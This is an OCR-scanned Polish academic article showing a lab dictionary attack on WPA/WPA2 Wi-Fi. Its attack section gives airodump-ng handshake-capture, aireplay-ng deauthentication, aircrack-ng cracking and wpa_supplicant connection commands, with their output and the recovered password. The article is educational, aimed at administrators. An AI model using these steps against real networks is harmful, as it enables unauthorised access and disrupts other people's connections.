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Streszczenie

Celem artykutu jest wykazanie niedoskonatosci protokotu zabezpieczajacego WPA/WPA2
stosowanych w sieciach WiFi. Pokazano, jak za pomoca ogodlnie dostgpnych narzedzi mozna
przeprowadzi¢ atak stownikowy w celu ztamania hasta.

Summary

The purpose of this article is to show imperfections WPA/WPAZ2 security protocol used in
WiFi networks. Shown how to use widely available tools can be carried out a dictionary attack to
break the password. Indigenous password is the first step for further exploration of the system or
the captured data, so its protection is such an important factor in determining safety. In the applica-
tion of this type of security password power plays a very important role, as in the case of a strong
password is not possible breakage. In other words, it is a dictionary attack. If the password is not in
the dictionary attacker is not broken.

Wstep

Szyfrowanie oparte na standardzie WPA/WPA2' zapewnia zdecydowanie
skuteczniejsza ochrong, niz wczes$niej stosowane rozwigzanie oparte na
szyfrowaniu WEP. Standard ten zostal zaprojekowany w taki sposob, aby mogt
by¢ uzytkowany bez wprowadzania dodatkowych zmian w uzytkowanym
sprzgcie. W przypadku, ktéry jest opisany w niniejszym artykule, nie ma
wyrdznionego serwera uwierzytelnienia, ktory jest przypadkiem bezpieCz-
niejszym. Mamy natomiast pojedyncze wspélne hasto dostepowe do sieci. Taka
konfiguracja jest zdecydowanie prostsza, stad jej duza popularno$¢ w obecnie
uzywanych sieciach WiFi. Co prawda oferuje ona nizszy poziom bez-

! A.S. Tanenbaum, D.J. Wetherall, Sieci komputerowe, wyd. V, Helion, Gliwice 2012; K.R.
Fall, W.R. Stevens, TCP/IP od srodka. Protokoly, wyd. I, Helion, Gliwice 2013.
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pieczenstwa niz opcja wykorzystujaca serwer uwierzytelniania, jednak swoja
popularno$cia zdecydowanie przewyzsza wszystkie inne rozwigzania stosowane
do tej pory, szczegélnie w zastosowaniach personalnych i wykorzystywanych
W matych firmach.

1. Opis WPA

Priorytetowym krokiem do odnalezienia klucza gtdéwnego jest przechwyce-
nie czteroetapowej sekwencji uwierzytelniania ustug. W rozwigzaniu ze wspol-
nym hastem kazdy klient otrzymuje inny klucz zalezny od klucza gléwnego. Sa
one oparte na tym samym hasle glownym. Klucze wykorzystywane do transmisji
$g generowane w oparciu o proces potaczenia sieciowego podobnie jak w proto-
kole TCP? sygnaty SYN SYN/ACK ACK. Hasto gtéwne jest uzywane do wyge-
nerowania glownego klucza. Z niego generowane sa poszczeg6lne klucze sesji.
Jest to niewatpliwie duza zaleta ze wzgledu na to, iz nie jest eksponowany sam
klucz glowny, a dziatanie wykonywane jest jedynie na jego odpowiednio prze-
ksztalconych wariacjach. Klucz sesji obliczany jest w ranach czterech etapow
polaczenia.

AP wysyta do klienta losowg liczbe. Klucz sesji jest tworzony na bazie ad-
resoOw MAC klienta AP oraz liczb losowych. W obecnym stanie klient posiada
klucz sesji. Wysyta on liczbe losowa do AP, ktory w identyczny sposob oblicza
Klucze sesji klienta. Liczby losowe jako podstawa obliczania procesu wyznacza-
nia kluczy sa wysytane tekstem otwartym, poniewaz do wyliczenia kluczy se-
syjnych potrzebne sg jeszcze poufne informacje znane tylko stronom zamierza-
jacym nawigza¢ komunikacje. Komunikat klienta zabezpieczony jest przez kon-
trolg integralnosci MIC (Message Integrity Check) oparta na kluczu sesji. Po
obliczeniu kluczy sesyjnych jest wigc mozliwa weryfikacja poprawnosci MIC,
co jest Scisle zwigzane z pochodzeniem komunikatu z zaufanej strony. Z kolei
AP udostepnia klientowi klucz grupowy, a on potwierdza z kolei ten komunikat,
co stanowi potwierdzenie poprawnosci posiadania kluczy. Klucz grupowy jest
wykorzystywany w ramkach rozgtoszeniowych typu BEACON w protokole
802.11. W tym standardzie do zapewnienia poufno$ci integralnosci i uwierzytel-
nienia zapewniono dwa standardy TKIP Temporary Key Integrity Protocol oraz
CCMP Counter Mode Chaining Message Authentication Code Protocol. Zaleca
si¢ stosowanie tego drugiego rozwigzania opartego na szyfrowaniu AES za 128-
bitowym kluczem. Metoda TKIP byta stosowana przejsciowo jako zwigkszenie

2 A.S. Tanenbaum, D.J. Wetherall, Sieci komputerowe...; B. Komar, Administracja sieci
TCP/IP dla kazdego, Helion, Gliwice 2000; K.R. Fall, W.R. Stevens, TCP/IP od...
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dotychczasowo rozwigzania szyfrowania WEP. Jednak zaréwno jedna, jak i druga
metoda nie jest do konca bezpieczna, CO przedstawia ponizszy artykut.

2. Omijanie zabezpieczenia WPA/WPA2

Do przeprowadzenia ponizszego doswiadczenia wykorzystano system ope-
racyjny Linux®.

Po przelaczeniu karty w tryb monitora za pomocg polecenia airodump-ng
nalezy przejrze¢ aktywne punkty dostgpowe znajdujace si¢ w zasiggu badanego
obszaru. W tym momencie nalezy zadecydowa¢ o wyborze AP i zapisac jego
parametry takie jak MAC adres, czgstotliwo$¢, na ktorej pracuje/kanal/, MAC
adresy przytaczonych do niego klientow, jak i opcjonalnie nazwe¢ rozglaszanej
sieci essid. Zebrane informacje pozwola na skonstruowanie polecenia airodump-
ng ponownie, jednak z ukierunkowaniem na wybrane urzadzenie oraz zapis ak-
tywnej transmisji na dysku.

root@bt:~# airodump-ng --bssid 00:0E:2E:F9:96:C8 —--channel
11 --write WPAWrite monO

CH 11 ][ Elapsed: 2 mins ][ 2013-12-04 13:10 ][ WPA
handshake: 00:0E:2E:F9:96:C8

BSSID PWR RXQ Beacons #Data, #/s CH MB
ENC CIPHER AUTH ESSID

00:0E:2E:F9:96:C8 -3 100 1032 344 1 11 54e
WPA TKIP PSK labte

BSSID STATION PWR Rate Lost
Frames Probe

00:0E:2E:F9:96:C8 (C4:85:08:3D:8A:42 -6 le- 2e 0
54

Rysunek 1. Wynik dzialania polecenia airodump-ng i przechwycenie etapu uwierzytelnienia

W wyniku dziatania tego polecenia utworzono plik na dysku z przechwy-
cong transmisjg danych. Jednak najistotniejsze jest w tym przypadku pozyska-
nie zapisu czteroetapowego uwierzytelnienia polgczenia, gdyz ono bedzie
uzywane do proby odgadnigcia hasta. Reszta zapisanej informacji z punktu
widzenia uzyskania dostepu nie jest istotna. Informacja o tym, ze zostata taka
informacja pozyskana, pojawi si¢ w prawym gornym rogu ekranu na monitorze
jak na rysunku 2 i ma nastepujaca postat WPA handshake: 00:0E:2E:F9:96:CS.
Oczywiscie adres przytaczonego urzadzenia MAC jest inny dla kazdego urza-
dzenia.

®B. Komar, Administracja...

138



2.1. Rozlaczenie klienta

Jezeli proces pozyskiwania uwierzytelnienia rozpoczat si¢ juz, gdy klient byt
podiaczony do AP mozna poczekaé, az potaczy si¢ ponownie generujac oczekiwany
przez nas etap uwierzytelnienia. Inng skuteczniejsza i szybsza drogg jest zainicjowa-
nie na nim ponownego podigczenia wydajac polecenie aireplay-ng, ktore wymusi
bezwarunkowe roztaczenie klientow podtaczonych do AP do ktorego sygnat rozia-
czenia zostanie wystany. OczywiScie roztaczony klient bedzie probowat ponownie
nawigzac potaczenie inicjujac oczekiwany proces uwierzytelnienia.

aireplay—-ng --deauth 1 -a 00:0E:2E:F9:96:C8 monO

root@bt:~# aireplay-ng --deauth 1 -a 00:0E:2E:F9:96:C8 mon0
13:09:42 Waiting for beacon frame (BSSID:
00:0E:2E:F9:96:C8) on channel 11

NB: this attack is more effective when targeting

a connected wireless client (-c <client's mac>).

13:09:42 Sending DeAuth to broadcast - BSSID:
[00:0E:2E:F9:96:C8]

root@bt:~# aireplay-ng --deauth 1 -a 00:0E:2E:F9:96:C8 mon0
13:09:52 Waiting for beacon frame (BSSID:
00:0E:2E:F9:96:C8) on channel 11

NB: this attack is more effective when targeting

a connected wireless client (-c <client's mac>).

13:09:52 Sending DeAuth to broadcast -- BSSID:
[00:0E:2E:F9:96:C8]

Rysunek 2. Efekt dzialania polecenia aireplay-ng

2.2. Slownikowe wyszukiwanie hasta

Po uzyskaniu procesu uwierzytelnienia nalezy skorzysta¢ z polecenia
aircrack-ng w celu wyszukania hasta odpowiadajacego procesowi uwierzytel-
niania. Oczywiscie do wykonania tej operacji niezbedne jest posiadanie pliku ze
stownikiem przyktadowych hasel, na ktorym aircrack. bedzie si¢ opierat wyszu-
kujac pasujacego rozwigzania. Proces ten jest dosy¢ czasochtonny i bezposred-
nio skorelowany z wielko$cia stownika, jak i mozliwo$ciami obliczeniowymi
maszyny na ktdrej jest przeprowadzana operacja. Aby zainicjowaé proces wy-
szukiwania hasta nalezy wykona¢ polecenie:

root@bt:~# aircrack-ng WPAWrite-05.cap -w
/pentest/passwords/wordlists/darkcOde.lst

gdzie:
— WPAWrite-05.cap plik z przechwyconym etapem uwierzyteniania,
— Ipentest/passwords/wordlists/darkcOde.Ist — $ciezka dostgpu do pliku

zawierajacego stownik.
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I~ v Tx root@bt: ~
File Edit View Terminal Help

Aircrack-ng 1.1 r2178
00] 896 keys tested (2291.89 k/s)
KEY<FOUND*{ 012i63nic ]

Master Key

Transient Key

EAPOL HMAC
e I

Rysunek 3. Wynik dzialania polecenia aircrack-ng i wyszukane hasto

3. Podlgczanie do AP

Kolejnym krokiem jest wykorzystanie znalezionego hasta do potaczenia
z punktem dostepowym. W tym celu nalezy wygenerowac specjalny plik
wpa_supplicant.conf., niezb¢dny do procesu potaczenia z AP.

Aby taki plik utworzy¢, mozna w dowolnym edytorze wypisa¢ niezbedne
dane do jego utworzenia lub wygenerowac go automatycznie za pomoca polece-
nia wpa_passphrase.

Ponizej przedstawiono przyktad wykorzystania tego polecenia w celu wy-
generowania pliku. Jak wida¢, do jego utworzenia niezbe¢dna sg dwa parametry.
Jednym z nich jest nazwa essid punku dostgpowego, a drugim hasto, ktore zosta-
1o pozyskane w wyniku wykonania poprzednich punktow ¢wiczenia.

root@bt:~# wpa passphrase labtest 012i63nic >
/etc/wpa_ supplicant.conf
- zawartosc pliku dostepowego
root@bt:~# cat /etc/wpa supplicant.conf
network={
ssid="labtest"
#psk="012i63nic"
psk=5baff2e11a03c086f13e0cl3b246eb7abedllb66fefe974bc2
42a4438a9df2005 }

Rysunek 4. Generowanie pliku polaczeniowego wpa_supllicant.conf
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Generowanie potagczenia jest ostatnim krokiem i powoduje uzyskanie dostgpu
klienta do wybranego AP. Aby tego dokona¢, nalezy wykorzysta¢ polecenie
wpa_supplicant. Ponizej przedstawiono sposdb uzycia polecenia wykorzystu-
jacego utworzony w poprzednim kroku plik potgczeniowy wpa_supplicant.conf.

root@bt:~# wpa supplicant -Dwext -iwlan0O -c
/etc/wpa_supplicant.conf

WPS-AP-AVAILABLE

WPS-AP-AVAILABLE

Trying to associate with 00:0e:2e:£9:96:c8 (SSID='labtest'
freq=2462 MHz)

WPS-AP-AVAILABLE

Associated with 00:0e:2e:£9:96:c8

WPA: Key negotiation completed with 00:0e:2e:£9:96:c8 [PTK=TKIP
GTK=TKIP]

CTRL-EVENT-CONNECTED - Connection to 00:0e:2e:£9:96:c8
completed (auth) [id=0 id str=]

Rysunek 5. Rezultat dzialania polecenia generujacego polaczenie

WhioskKi

Korzystanie z zabezpieczenia WPA w znaczacy sposob podnosi poziom bez-
pieczenstwa w porownaniu z poprzednim poziomem rozwigzania zabezpieczenia,
czyli WEP. Co prawda dla codziennych uzytkownikéw zastosowanie jednego roz-
wigzania, czyli WEP lub WPA/WPA2 to tylko inna roznica w nazwie, jednak
W rozumieniu o0so6b zajmujacych si¢ zawodowo problemami bezpieczenstwa to
ogromna roznica. Jesli w przypadku zastosowania WEP zlamanie zabezpieczenia to
tylko problem zebrania odpowiedniej ilosci pakietow, czyli w praktyce kazde
hasto da si¢ zlamaé, to w przypadku =zastosowania rozwigzania typu
WPA/WPA2 do zlamania hasta moze zosta¢ tylko uzyte narzedzie oparte na
technologii opartej na ataku stownikowym. Oznacza to tyle, ze po przechwyce-
niu pakietow uwierzytelnienia zawierajagcych hasto znalezienie jego jest tylko
wtedy mozliwe, kiedy hasto wystepuje w stowniku. W przypadku gdy hasto nie
wystepuje w stowniku, to nie jest mozliwe do ztamania. Stad w przypadku za-
bezpieczenia WPA/WPA2 zabezpieczenie jest tak dobre jak dobre jest hasto,
czyli na tyle unikalne, ze nie wystepuje w zasobach stownikowych, a te w nie-
ktorych wersjach sg niezwykle rozbudowane.

* * %

Autor przedstawia publikacje w celach edukacyjnych dla oséb zainteresowanych
zagadnieniami bezpieczenstwa, jak i 0sob administrujacych sieciami komputerowymi
W celu uswiadomienia im niedoskonato$ci stosowanych rozwigzan.

Autor nie ponosi odpowiedzialnosci za wykorzystywanie przedstawionej wiedzy do
celéw niezgodnych z prawem.
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